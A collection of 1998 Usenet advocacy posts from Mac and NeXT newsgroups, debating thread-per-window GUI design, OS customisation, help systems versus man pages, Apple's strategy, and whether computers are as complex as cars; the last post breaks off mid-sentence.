<Eyrv0s.FJ@T-FCN.Net> <6spe12$1m0$1@news.spacelab.net>
<Eyrzzr.94x@T-FCN.Net>
In-reply-to: maury@remove_this.istar.ca's message of Fri, 4 Sep 1998 20:09:27 GMT
In article <Eyrzzr.94x@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
On the other hand I'm not yet convinced we can't get 90% of the
behaviour we want with no threads at all.
I'm convinced we can, for all cases, all the time. The question,
though, comes down to how hacky we want to be about it :-).
The question I see then is why they do this. One claim (seems like
a good one too) is former performance issues. Another I suppose is
where to send the events. If I'm sitting in a loop watching for
mouseMoveds, is there any safe non-threaded solution to what to do
if I don't get any events? I would guess that there isn't.
You could certainly do it based on how you define the event handling
system. The problem is really one of convenience. For instance, if
Apple removed the methods that wait for a new event of a specific
type, single-threaded versus multi-threaded wouldn't be a problem,
because one event handler subloop couldn't block another. The problem
is that removing the block-waiting-for-a-specific-event call greatly
complicates some currently simple code, such as tracking mouse events
manipulating a slider.
You can't just send off events that the subloop is _not_ looking for.
What if the event's receiver then decides to block waiting for a
specific type of event? Potential deadlock!
The problem is that thread-per-window seemingly solves the problem -
but in actuality, does not necessarily solve the problem. It allows
seperate windows to not step on each other's toes (assuming any
communications between windows is appropriately synchronized), but
each window can still step on its _own_ feet.
It takes a simple 90% solution to 95%, but doesn't handle that last
5%. I'd rather see multithreading done a bit more deeply. You can
either go for simple, single-threading, or if you go multi-threading,
have excellent system support for multi-thread any operation that's
going to take more than a tenth of a second or so. If this is
thread-per-window, great. But it might just mean that you pick a
couple key operations (Print, Save) and thread them.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 6 Sep 98 23:09:22
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Sep6230922@slave.doubleu.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27>
<6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com>
<6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net>
<6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net>
<6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net>
<6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net>
<6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net>
<6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net>
<6spibk$o2m$1@nnrp1.dejanews.com>
In-reply-to: quinlan@intergate.bc.ca's message of Fri, 04 Sep 1998 20:25:24 GMT
In article <6spibk$o2m$1@nnrp1.dejanews.com>,
quinlan@intergate.bc.ca writes:
In article <6sp5su$pgv$1@news.spacelab.net>,
"Charles W. Swiger" <chuck@codefab.com> wrote:
> There should be a single way of writing event management code
> that works for both threaded and non-threaded applications. And
> it is not the case that user experience is always better in
> multithreaded applications-- it depends on the specific app in
> question.
But the multithreaded way should be as easy or easier to develop
than the single threaded way. Otherwise, application designers are
going to choose the simpler path.
Urk! We're a goodly ways away from having a system that's easier to
develop for multi-threading than single-threading, assuming we're
talking non-toy apps written in a C derived language. [If we're
willing to toss C as a distant base for our system, well, then it's
wide open :-).]
I agree multi-threading is important mainly because there are some
specific pieces of functionality that are easier to do when you can
assume multiple threads. For instance, printing while allowing
continued edits. But, if you take the program and remove the
functionality which requires multi-threading, it's almost invariably
true that the single-threaded version is cleaner than the
multi-threaded version.
OOP and certain design patterns can help make the multi-threading
manageable, but they hardly make it simple. And I'm not sure they
should, at least until the problem of debugging multi-threaded code is
made more manageable.
[That debugging problem is a good part of why I think you should only
get multiple threads when you ask for them. I once spent a week
tracing down a bug that at core related to how NeXT handles
integrating the AppKit event loop with reading from Unix file
descriptors. Basically, it spawns a background thread to select() on
the file descriptors, and uses Mach messaging to gateway to the AppKit
event loop. If I'd know this up _front_, it would have taken like a
day to figure out how to fix my code,]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 08 Sep 1998 01:35:26 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t21ku$lge$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <Eyrv0s.FJ@T-FCN.Net> <6spe12$1m0$1@news.spacelab.net> <Eyrzzr.94x@T-FCN.Net> <SCOTT.98Sep6225822@slave.doubleu.com>
In article <SCOTT.98Sep6225822@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> The problem is that thread-per-window seemingly solves the problem -
> but in actuality, does not necessarily solve the problem. It allows
> seperate windows to not step on each other's toes (assuming any
> communications between windows is appropriately synchronized), but
> each window can still step on its _own_ feet.
I was thinking that having a thread per window pane might be better.
> But it might just mean that you pick a
> couple key operations (Print, Save) and thread them.
As I mention in another post, there is no cheap way to do this in general so I
don't think that this solution will work.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 6 Sep 1998 22:13:52 GMT
Organization: University of California at San Diego
Message-ID: <slrn6v628v.jan.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <B2182238-5EFDA@206.165.43.134>
On 6 Sep 98 11:14:17 -0700, Lawson English <english@primenet.com> wrote:
:As I pointed out in my previous response, having a well-defined binary file
:graphics format would be nicer for automated pre-press than the above
:text-based one. Is there a binary representation that OAPropertyListCoder
:can produce that can be parsed using a standardized drawing app?
:
:The need for this should become VERY obvious when one is dealing with
:blocks of text or bitmaps. Try writing a routine to extract/manipulate a
:bit of text, including all style-info, from a text-based format such as
:standard PDF or the text-format you give above. Less easy to do. Now
:extract/manipulate a portion of a bitmap. Even less easy to do.
What does binary or text have to do with this question?
What matter is a simple regular grammar which is easily parsable by
fast, robust, algorithms, with useful semantics form-fitted to match.
Binary, text, shminary, whatever.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: kms@norfolk-county.com (K. Sebring)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Sun, 06 Sep 1998 17:53:24 -0400
Organization: I say screw it!
Message-ID: <kms-0609981753250001@dialinuser161.norfolk-county.com>
References: <no-spam-0509981559360001@10.0.1.99> <B217F8B1-26B83@153.36.249.142> <6su2uc$5mq$1@birch.prod.itd.earthlink.net> <kms-0609981137550001@dialinuser190.norfolk-county.com> <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net>
In article <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
>In article <kms-0609981137550001@dialinuser190.norfolk-county.com>,
>kms@norfolk-county.com (K. Sebring) wrote:
>
>> Kaleidoscope. I can change *every little thing* about the appearance of
>> the OS. If you don't believe me, i'll send you a screenshot that is an
>> almost exact replica of Windows 95.
>
>hmmm, I am not familiar with this. You can change every little thing?
>what about big things, such as the menubar at the top? Can you customize
>it so it is a replica of openstep 4.2 interface?
Come on. You know exactly what Kaliedoscope can do. And you know it's alot.
What is it with you, anyways?
You act like a fourth grader who, maybe, "tries to be cool" by swaying
whatever way will get you the most attention. It seems that whenever
there is an argument, you'll take the side that appears to be "winning".
Why is that? If you deny this, i'll do some Deja searching and come up
with some examples. But please, don't make me waste my time.
--
-----------------------
kms@norfolk-county.com
kmsmac on AIM
ICQ #9251405
From: "Wayne Fellows" <wfellows@*stop_spam*earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 6 Sep 98 17:44:20 +0000
Organization: EarthLink Network, Inc.
Message-ID: <B2187A77-20F2FE@153.36.240.74>
References: <6su2uc$5mq$1@birch.prod.itd.earthlink.net>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.mac.advocacy,
nntp://news.earthlink.net/comp.sys.next.advocacy
On Sun, Sep 6, 1998 1:29 PM, Todd Arneson
<mailto:s124@[REMOVE]earthlink.net> wrote:
>>You folks don't seem to have much of a concept of Mac customizability.
It
>>blows away any OS except, perhapse, the various flavors of Unix.
>Oh really? Can you give any examples?
Absolutely, there's nothing like the Mac's Kaleidoscope for WinD'ohs.
From: "Wayne Fellows" <wfellows@*stop_spam*earthlink.net>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 6 Sep 98 17:49:50 +0000
Organization: EarthLink Network, Inc.
Message-ID: <B2187BC2-2140D9@153.36.240.74>
References: <macghod-0609981225550001@sdn-ar-001casbarp298.dialsprint.net>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.mac.advocacy,
nntp://news.earthlink.net/comp.sys.next.advocacy
On Sun, Sep 6, 1998 7:25 PM, Steve Sullivan <mailto:macghod@concentric.net>
wrote:
>> Not true. If you drag a folder to the Recycle Bin, and restore that
folder,
>> all contents go back to their original location. What are you talking
about?
>From my limited use of windows I know what he is talking about.
>Mac: say I have 3 folders, each with about 100 items in the trash. "todo"
>in folder 2, path 2/thingstodo/today was not meant to be thrown away. On
>the mac, everything is in the same folders etc. On windows, their would
>be 300 files you have to wade through to get to it
Yeah, pretty lame implementation, huh?
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
MIME-Version: 1.0
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References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com>
<6t004d$nsn$1@oak.prod.itd.earthlink.net>
Message-ID: <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
Date: Tue, 08 Sep 1998 03:30:10 GMT
NNTP-Posting-Date: Mon, 07 Sep 1998 20:30:10 PDT
Organization: @Home Network
In <6t004d$nsn$1@oak.prod.itd.earthlink.net> "Ziya Oz" wrote:
> rr6013@yahoo.com wrote:
> >Foundation#3: Buy/license PSION's Epoc OS
>
> Will never happen.
>
>
Well it's O-O, it has an entrenched market presence and a huge scalability
factor downward. I've been pounding the table for Psion over a two years
now, against all odds. I see a lot of flexibility with Apple's "NeXT" and
Psion's "Epoc" cross-pollinated.
All odds are against a NIH purchase & acquiring a market which they
retrenched.
-r
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0709982349110001@24.0.246.137>
References: <heaney-0609982224130001@24.0.246.137> <B218A5A5-2FE3E@206.165.43.187>
Organization: Solid Object Software
Date: Tue, 08 Sep 1998 03:40:24 GMT
NNTP-Posting-Date: Mon, 07 Sep 1998 20:40:24 PDT
In article <B218A5A5-2FE3E@206.165.43.187>, "Lawson English"
<english@primenet.com> wrote:
> >Hey, I'm sorry about that, but when you pulled my quote to start this new
> >thread, you took it completely out of context. I was (incredible as this
> >sounds) participating in a CLI vs. GUI debate. You can't just hijack my
> >words and apply them to some other thread.
>
> But *I* was pointing out that te next generation MacOS no longer does what
> you like.
>
> Fact is that after the release of MacOS 8.5, you won't be able to brag
> about AppleGuide.
>
> So what you like goes away and the CLI folk win.
Well, that's rather extreme. Last I checked hypertext, even HTML based,
was considered part of a GUI; not a CLI (command line interface). I mean
AppleGuide is pretty cool, but the help system of the MacOS before it was
still way better than man pages.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0809980032490001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com>
Organization: Solid Object Software
Date: Tue, 08 Sep 1998 04:24:02 GMT
NNTP-Posting-Date: Mon, 07 Sep 1998 21:24:02 PDT
In article <6svokr$51r$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Heaney <heaney@SolidObject.com> wrote:
>
> : > Q1: Is "circling the right places" possible for more than the most common
> : > actions?
> : >
> : > Q2: Even if the help system could circle the right thing, wouldn't you
> : > like to know why?
>
> : I'd ask what is your point. I was simply saying that the GUI of the MacOS
> : provides a much more robust help system than the man pages mechanism of
> : unix every could. I'm not going to get into some debate about which help
> : system has better content. It's the systems themselves I was comparing.
>
> I'd say it falls in nicely with my "fear of text" theme. The Apple help
> system says don't make me read anything, just circle what I'm supposed to
> do. As if a computer knew what I want to do.
When was the last time you used a Mac, anyway? I use help all the time
without the red circles. I was just using that as an example of just how
sophisticated the help system is. It's not unusual for me to turn on
balloon help, for example, so that I can point to an option to get more
information about it. Also, you can call up the topics and read about
various topics without getting actually going through the steps. In other
words, you can read the text. Or you can use the Mac Info system to find
out general information about how to do stuff. I'm just saying it's far
better than man pages.
> You know, you called this a CLI vs. GUI thread even after I said how much
> I liked GUIs. I want to know why it became a "vs.", not just in your
> response but in Macland in general. Why did a love of images evolve into
> a distaste for text? Is it all DOS-prompt baggage ingrained in the Mac
> mentality, or does it go deeper than that? Has the appliance-computer
> descended to the computer as TV stage?
I think you must have a very narrow sense of what a GUI comprises. There's
lots of text in a GUI. The text is merely broken up much better and
navigating through it is easier. And a picture is worth a thousand words,
so a well designed GUI is, in many cases, self explanatory. That's
especially true with the MacOS because there is so much standardization
between applications.
I've been using a unix shell for several years for news and ftp, up until
very recently. I still don't know how to sort a list of files. Even if I
did know the proper incantation, I would really get a _new_ list of files
in the proper sort order. That's not the same thing because it puts me
further away from the context where I wanted the list in the first place.
With the Mac Finder, I have a window of files and I click on the column
heading and the same list gets sorted properly. In the unix example, I've
got too much text; it's more than I want, more than is necessary. With the
Mac, it's exactly what I want when I want it. It also refreshes
automatically! If I or someone on another computer adds a file to the
directory I'm viewing, I'll see it appear. That doesn't happen with a CLI.
The best command line interface I've used is the MPW shell because it kind
of interacts with the GUI. The main advantage to it that I recall was the
ability to write scripts. That's cool because, even though you can waste a
lot of time writing a series of commands, you can play back those commands
over and over. But now with AppleScript and QuickKeys and OneClick,
there's much better and easier ways to do that sort of thing.
I really can't think of any cases where a CLI is more useful or more
efficient than a GUI. If the Mac had a CLI, I can't imagine what I would
use it for.
From: gregorylo@sympatico.ca (Gregory Lo)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <gregorylo-0809980029030001@cpu2522.adsl.bellglobal.com>
References: <heaney-0609982224130001@24.0.246.137> <B218A5A5-2FE3E@206.165.43.187> <heaney-0709982349110001@24.0.246.137>
Date: Tue, 08 Sep 1998 04:29:01 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 00:29:01 EDT
Organization: Bell Solutions
In article <heaney-0709982349110001@24.0.246.137>, heaney@SolidObject.com
(John Heaney) wrote:
>In article <B218A5A5-2FE3E@206.165.43.187>, "Lawson English"
><english@primenet.com> wrote:
>
>> So what you like goes away and the CLI folk win.
>
>Well, that's rather extreme. Last I checked hypertext, even HTML based,
>was considered part of a GUI; not a CLI (command line interface). I mean
>AppleGuide is pretty cool, but the help system of the MacOS before it was
>still way better than man pages.
While I don't strictly disagree or agree with the statement that
AppleGuide is "better". I have to say that what annoyed me most about it
is that most AppleGuides are no substitute for reference documentation. I
always wanted to know how something was done for future reference, but I
didn't want for the help system to coach me through it and do it
immediately. That's great for people who really need a helping hand, but
it's not alway appropriate. I needed more comprehensive information than
could be easily presented in AppleGuide's small coaching format.
Now, as I understand it, with the new HTML-based help system, the coach
marks and automated walk-throughs are still there through both native
AppleScript and the Help APIs. But, now we also add all the advantages of
HTML based content.
As for man pages, I do find them very useful, myself. They are documents,
just like any other documents; however, most are written quite well. Very
helpful in CLIs where the entire documentation for a compact little
program could fit within a small man page. I never found them useful for
programming, though, and I wouldn't want to use them in more complex (yes,
complex!) environments like the MacOS.
GLo
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: 7 Sep 1998 17:27:00 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6t1514$mfe@news1.panix.com>
References: <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <6sibgk$ssh@news1.panix.com> <89DA80382AE9C9D2.B50B13F0EB2D178E.DA44ABF2DF68B50A@library-proxy.airnews.net>
On Sat, 05 Sep 1998 01:05:49 GMT,
Shelton Garner <leebum@nottowayez.net> wrote:
>All this could be overcome if the company had a CEO with a Linux
>"vision."
Apple needs an "Apple vision" not a "Linux vision" (Even if that
"Apple vision" in some way includes Linux) Apple, as a publicly held
company, is accountible to its shareholders. Not to Linus or RMS or
anyone else.
Apple is in business to sell Apple products, not "Apple religion" or
"Free software religion" or anything else.
> Apple would _thrive_, regardless of the time it took to
>port things to Linux if it were seen as promoting Linux-with-Mac-GUI
>as "the future."
MacOSX is Mach/BSD with a Mac GUI. Source code for BSD, Mach and the
other tools are publicly available. As much as I like Linux, I don't
see anything of value (other than the name) that isn't in BSD or in
Mach but is in Linux.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 08 Sep 1998 13:00:44 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35F570CC.62E2C3D3@nstar.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <joe.ragosta-1708980924010001@wil51.dol.net> <6r9cu3$n76@fridge.shore.net> <rayExuyrC.IIo@netcom.com> <35D8C744.5F35DF26@ericsson.com> <macman-0609982059000001@d185d1c66.rochester.rr.com> <35F3FB6E.DBD5A2FE@nstar.net> <6t01js$pdo$1@bunyip.cc.uq.edu.au> <35F4F71C.307FDC38@nstar.net> <6t1pv4$mr8$1@bunyip.cc.uq.edu.au>
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NNTP-Posting-Date: 8 Sep 1998 04:57:27 GMT
Christopher Smith wrote:
> >Injectors, distributor, sparkplugs, head gasket, rear main seal, CV
> >joints, CV boots, muffler, brakes, lights, electrical system, steering
> >rack, speaker system, radio, fuse box, transmission lever, shocks,
> >struts, coolant system, wipers, wiper pump, AC pump, oil pump, oil pan,
> >oil filter, antenna, radiator, fan, air filter, timing belt...
>
> CPU, CPU socket, south bridge, transistors, diodes, capacitors, fuses, PCI
> slots, ISA slots, AGP slots, SIMM sockets, DIMM sockets, jumpers, DIP
> switches, keyboard controller, voltage regulator(s), power connectors,
> transformers, ribbon cable, drive heads, stepper motors, lasers, DACs,
> amplifiers, 1/8" jacks, batteries, DIPs, resistors, serial ports, PS/2
> ports, disk controllers, serial controllers, heatsinks, BIOSes...
Good. Now compare the two lists, friend. When will you service the CPU,
CPU socket, south bridge, transistors, diodes, capacitors, fuses, PCI
slots, etc., etc., etc.? When will you replace them? When will you ever
need to identify and otherwise work with them?
Never. If your wiper pump is broken, you go to Pep Boys and buy a new
one. You don't replace the entire engine. If your ISA bus controller is
broken, you get an entirely new motherboard.
The washer pump is an entirely distinct and replaceable part. Even more
obscure parts will require service or replacement. The motherboard, and
all it encompasses, is the distinct part of a computer that represents
all of its individual parts. At the level of anyone but the original
manufacturer, the computer is 10 or so distinct parts. The automobile is
thousands.
> >We're just getting started. Automobiles are incredibly complicated.
>
> We're just getting started - not even getting into what's happening *inside*
> any of the components yet.
Nor does it matter. The 10 or so distinct parts that I mentioned are
all-in-one "packages". They come as retail or OEM parts. Nothing of
finer granularity is user-servicable. Have you ever seen the "warranty
void if removed" stickers on your hard drive and on your power supply?
Sometimes it says "no user serviceable parts inside". Getting the
picture?
By contrast, all of the automobile parts I mentioned are serviced or
replaced separately. How much more do I have to break this down for you?
If you break your BIOS chip, you're going to need a new motherboard. If
you hit a curb and bend your CV joint, you're going to need a new CV
joint. If you're in the market for PCI slots, you buy a new motherboard.
If you're in the market for better brakes, you buy better brakes. If you
want a higher clock on your monitor's timing circuits, you need to buy
an entirely new monitor. If you want fancier wipers, buy them at your
local auto parts store.
Use your auto parts store as the benchmark. How many parts do they sell?
Compare to the number of parts sold at a computer store. Have you
noticed how auto parts stores have large books in front of many of the
racks? Find your air filter for your particular make-model-year.
#122853. Your computer store stocks CD-ROM drives, period.
> >Besides, component count wasn't the basis of the original statement.
>
> Obviously - but trying to say a car is made up of thousands of components
> and a computer of ~10 is just plain stupid.
No, it's not, and I'll thank you not to start throwing around
pejoratives. I'm certain that you can post a sensible argument without
them.
> Ok, on the bottom of one of my hard disks there is a circuit board with
> several ICs, various jumpers, diodes and other interesting looking bits of
> electronix esotorica - sure it all comes from some factory somewhere
> pre-assembled, but that doesn't change the fact it was at some stage in
> components form. I'm sure you can obtain just an engine on its own as well,
> but would you call an "engine" a single component of a car ?
No. If the timing belt is worn I will have it replaced. If the oil pan
is cracked, it will need replacement. If the valves are clogged they
need an overhaul. If the sparkplugs aren't firing correctly, they will
be tuned.
If your motherboard is not functioning properly, it needs to be
replaced.
> >Good comparison. For one, optional components on a car are
> >dealer-installed and normally come in pre-configured packages. For
> >another, the sale of these options is almost exclusively performed at
> >during the sale of the automobile. Automobiles are not like computers.
>
> Some optional components on a car are best dealer-installed, just like on
> computers. Some are quite easily installed in cars as well (stereos,
> speakers, dodgy 3rd party cruise controls), just like they are in computers.
Which components on a computer are best dealer-installed? I can't think
of one that can't be replaced by the vast majority of users (except on
the iMac, of course).
> A _computer_ is a very complicated piece of equipment made up of thousands
> of various components many of which work together because of luck rather
> than any special amount of skill or standards.
This is really far-out. My CD-ROM works because of luck, not because it
is ATAPI-compliant? My memory works because of luck, not because it is
PC-100 compliant? My sound card works because of luck, not because it
supports the PCI bus and has Plug-and-Play on board?
I'm going to mash an UltraSPARC II into my motherboard and hope for the
best. Best of luck, of course!
> So is a TV, a VCR and a
> Microwave oven.
No, none of these contain "thousands of parts". To the user they consist
of exactly one part apiece.
> So is a car.
This is the only one that fits the description, except the weird part
about luck. Do you know any automotive engineers? I do. Ask one how much
"luck" goes into the design of an automobile.
> Computers have not yet reached the stage of
> being foolproof and simple for anyone to use - but then again neither have
> TVs, VCRs and Microwaves.
Computers are controlled by software, which determines the difficulty of
operation. TVs, VCRs, and microwaves are quite simple enough for the
vast majority of customers, which is more than sufficient, and they are
always getting easier. The microwaves in our break room can be started
by pushing a single button. Basically, you say "cook" and it does for
one minute unless you hit "add 30 seconds".
At any rate, computers are not like any of these.
> You need a license and some basic training to use
> a car, maybe if people had to get a license and/or some basic training
> before they got a computer there would be less calls to tech support about
> things like broken cup holders :).
Yes, let's raise the barriers to entry to fix the problem. We'll just
exclude all the people who don't pass according to our standards. That's
a great idea. We couldn't possibly allow anyone to underuse their own
computer and pay money for their own tech support.
MJP
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Tue, 08 Sep 1998 01:33:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t21ge$ktq$1@nnrp1.dejanews.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <SCOTT.98Sep6224159@slave.doubleu.com>
In article <SCOTT.98Sep6224159@slave.doubleu.com>,
scott@nospam.doubleu.com (Scott Hess) wrote:
> Having a thread per window forces extra overhead (for threading and
> for synchronization). Thread synchronization adds extra potential for
> bugs to creep in. These are doubly onerous for those apps that can't
> make use of the advantages of multiple threads, because now they pay a
> performance penalty and a robustness penalty for no gain at all.
I don't think that the performance penalty would be significant. How many
windows do you want to open? Probably less than a hundred. And bugs are
usually a consequence of more advanced applications. GUI programs are harder
to write than CLI programs but most people deam the increased development
cost to be worthwhile. And what is the robustness penalty that you refer to?
> My favorite reason why to not force thread-per-window is that it
> doesn't necessarily solve all your multi-threading problems _anyhow_.
> Consider, for instance, printing. With thread-per-window, you'd get
> multi-threaded printing automatically, right? Only problem is, you
> can use other windows while one window prints - but thread-per-window
> doesn't let you use the window who's document is being printed! For
> that, you have to roll your own.
But I don't see a general solution to this problem. In some cases, there may
be no reasonable solution. Take your printing example, what is the general
solution for allowing the content of a document to change while it is being
printed? Duplicate the entire document? If you can figure out a cheap way of
threading each operation then I will support it but, until you do, we may as
well use easier, cheaper and still useful per-window threading.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6su2uc$5mq$1@birch.prod.itd.earthlink.net> <B2187A77-20F2FE@153.36.240.74>
Subject: Re: What we need from Mac OSuX
Message-ID: <PZ6J1.3627$KK4.9679462@news.san.rr.com>
Date: Tue, 08 Sep 1998 09:42:07 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 02:42:07 PDT
Organization: TWC Road Runner, San Diego, CA
Wayne Fellows wrote in message ...
>On Sun, Sep 6, 1998 1:29 PM, Todd Arneson wrote:
>>>You folks don't seem to have much of a concept of Mac customizability.
>>>it blows away any OS except, perhapse, the various flavors of Unix.
>
>>Oh really? Can you give any examples?
>
>Absolutely, there's nothing like the Mac's Kaleidoscope for WinD'ohs.
Never heard of "Window Blinds" I guess, or "Object Desktop's WindowFX
component", or...
Those and Kaleidoscope are complex hacks fraught with incompatibilities.
They do not represent OS customization capability out-of-box.
In terms of out-of-box customization capability OS/2 (perhaps as early as
2.0 in '92) easily surpassed any currently shipping Mac OS. To say
otherwise is to ignore the facts or simply indicative of the ignorance and
misinformation surrounding that long-loathed OS.
On a ISV customization note, due to the ability to subclass parts of the UI,
rather than have to patch as with Mac OS extensions, OS/2 allows programmers
relatively clean pathway to add-on to the system and many have done so.
It's been a shame so many have failed to realize the nature of OS/2's UI is
not skin deep as on Windows and MacOS but backed up by a relatively complex
and capable system of objects.
Windows does not offer this.
Mac OS does not have a stable, clean and reliable method for customizing the
system which is exactly why Apple was dumping the old-style extension method
with Copland and why Mac OS X (at last report, AFAIK) would be extensible
via a new mechanism derived from OPENSTEP's existing facilities.
I am ever surprised Windows does not yet offer scripting on the order of
REXX or AppleScript. I'd expected VB for apps would be extended to the OS
level with Win98--clearly that did not happen.
If Apple does things right, and I'm ever more weary they will from what I
read publicly about Mac OS 8.5 and related things, Mac OS X, with it's Mac
